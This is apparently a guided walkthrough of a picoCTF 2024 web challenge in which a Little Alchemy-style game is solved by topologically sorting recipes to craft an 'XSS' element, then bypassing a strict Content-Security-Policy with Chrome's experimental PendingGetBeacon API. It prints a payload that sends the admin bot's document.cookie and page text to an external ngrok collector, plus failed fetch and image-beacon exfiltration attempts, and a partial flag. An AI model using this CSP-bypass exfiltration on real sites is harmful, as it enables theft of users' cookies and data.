Description
A crafting game in the style of Little Alchemy: combine base elements to discover new ones. The twist is that the recipe you submit is rendered into an admin bot's page, so the real goal is to craft an 'XSS' element, fire it inside a strict Content Security Policy, and exfiltrate the flag. This was the second-least-solved challenge of picoCTF 2024.
Setup
Open the challenge site and read how /craft and /remoteCraft work.
Inspect the response headers to read the Content-Security-Policy the admin page enforces.
Stand up an external collector (ngrok, webhook.site) to receive the exfiltrated flag.
Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Model the crafting graph and reach the XSS elementObservationI noticed the game only allows crafting an element if both of its ingredients are already unlocked, which means the XSS element's full dependency tree must be resolved in the correct order before submission. This suggested treating the recipe list as a directed acyclic graph and topologically sorting it so every prerequisite is crafted before it is needed.The game defines recipes like 'Exploit + Web Design = XSS'. To unlock the XSS element you must craft every ingredient in its dependency tree first, in valid order. Build the recipe graph, find the path from the base elements (Fire, Water, Earth, Air) up to XSS, and topologically sort it so each craft only uses elements you already have.pythonpython3 - <<'PY' # recipes: result -> (ingredient_a, ingredient_b) # Build the full set you must craft, then topo-sort so dependencies come first. from collections import deque recipes = { "XSS": ("Exploit", "Web Design"), } # fill from the site's recipe list def deps(target): order, seen = [], set() def visit(x): if x in seen: return seen.add(x) if x in recipes: for ing in recipes[x]: visit(ing) order.append(x) visit(target) return order print(deps("XSS")) # craft these in this order PYWhat didn't work first
Tried: Craft elements in the order they appear in the recipe list on the site, without sorting by dependencies first.
The site rejects a craft if either ingredient has not been unlocked yet, returning an error. Because XSS depends on intermediaries that themselves depend on earlier elements, an unsorted sequence will fail partway through. A topological sort guarantees each element's prerequisites appear before it in the submission sequence.
Tried: Manually trace the dependency chain by eye instead of writing a graph traversal.
The recipe graph for XSS has multiple levels of transitive dependencies, so manual tracing misses shared sub-dependencies or visits them in the wrong order. A DFS or BFS traversal on the recipe dict is the reliable approach and also produces a reusable script if the recipe set changes.
Learn more
Why topological sorting. You can only combine elements you already own, so the craft sequence must respect dependencies: an element appears only after both of its ingredients. A topological sort of the recipe DAG produces exactly such an ordering. This is the same ordering problem as build systems and package managers solve.
Step 2
Understand the CSP that blocks the obvious exfilObservationI noticed the response headers on the admin page included a Content-Security-Policy with a restrictive connect-src directive, which indicated that standard outbound request methods like fetch() and XMLHttpRequest would be blocked before reaching any external collector. This suggested I needed to understand exactly which request primitives the policy covered before attempting exfiltration.The admin page sets a strict Content-Security-Policy. Inline script may run via the crafted element, but connect-src / default-src forbid outbound requests to your domain, so fetch(), XHR, navigator.sendBeacon(), image beacons, and form posts to an external host are all refused. You need a request primitive the CSP does not cover.Learn more
What CSP actually restricts. A Content-Security-Policy enumerates which origins each resource type may load from.
connect-srcgoverns fetch/XHR/WebSocket/sendBeacon,img-srcgoverns images,script-srcgoverns script sources. If every network-capable directive (ordefault-src) excludes your collector, the browser silently blocks the request before it leaves. That is why a normalfetch("https://me/?f="+flag)does nothing here.Step 3
Exfiltrate with a CSP-unaware browser APIObservationI noticed that fetch(), XHR, image beacons, and sendBeacon() were all blocked by the CSP, but the admin bot ran a specific Chrome version that had shipped the experimental PendingBeacon API before CSP enforcement was extended to cover it. This suggested that PendingGetBeacon or PendingPostBeacon would bypass connect-src entirely and successfully deliver the flag to an external collector.The winning trick is to use an experimental Chromium feature whose requests were not subject to CSP: the PendingBeacon API (window.PendingGetBeacon / PendingPostBeacon). It issues an HTTP request that connect-src does not block, so you can ship the document cookie / flag to your external collector despite the policy. Put the call inside the crafted XSS payload and submit it via /remoteCraft so the admin bot executes it.js// payload carried by the crafted "XSS" element, run on the admin page: const b = new PendingGetBeacon("https://<your-ngrok>/x?f=" + encodeURIComponent(document.cookie + document.body.innerText)); b.sendNow();bash# Watch your collector; the admin bot's request carries the flag.The path shown here was an unintended one: it abused a Chrome-only API that did not honour CSP. PendingBeacon was later removed, so on a current browser you may need an equivalent non-fetch channel (for example a navigation-based leak); the principle is the same: find a request type the policy does not cover.
What didn't work first
Tried: Use fetch() or XMLHttpRequest to POST the flag to an ngrok collector endpoint.
The admin page's connect-src directive blocks all outbound requests to external origins, so fetch() and XHR are silently dropped by the browser before they leave the page. The request never reaches the collector and no error appears in the payload response. PendingBeacon (or another API that predates CSP coverage) is needed because those calls bypass connect-src enforcement entirely.
Tried: Use an image beacon (new Image().src = 'https://collector/?f=' + flag) to bypass connect-src.
An image beacon is subject to img-src, which is typically locked down alongside connect-src in this challenge's policy. The browser blocks the load and the collector receives nothing. PendingBeacon issues a background-sync-style HTTP request through a separate code path that was not yet wired into CSP directive checks in the Chrome version used by the admin bot.
Learn more
Why this works. CSP enforcement is implemented per request type. When a browser ships a new network API before the CSP plumbing is added, that API becomes an exfiltration hole: the bytes leave the page even though
connect-srcwould have blocked an equivalentfetch. Bug-bounty and CTF web exploitation both rely on enumerating these gaps when a policy looks airtight.
Interactive tools
- Regex TesterTest regular expressions against a string with live match highlighting, flag toggles, and common CTF pattern shortcuts.
Flag
Reveal flag
picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_...}
Craft the XSS element by topologically sorting the recipe graph, then bypass the strict CSP by exfiltrating with an experimental browser API (PendingBeacon) that connect-src did not enforce, sending the flag from the admin bot's page to your collector.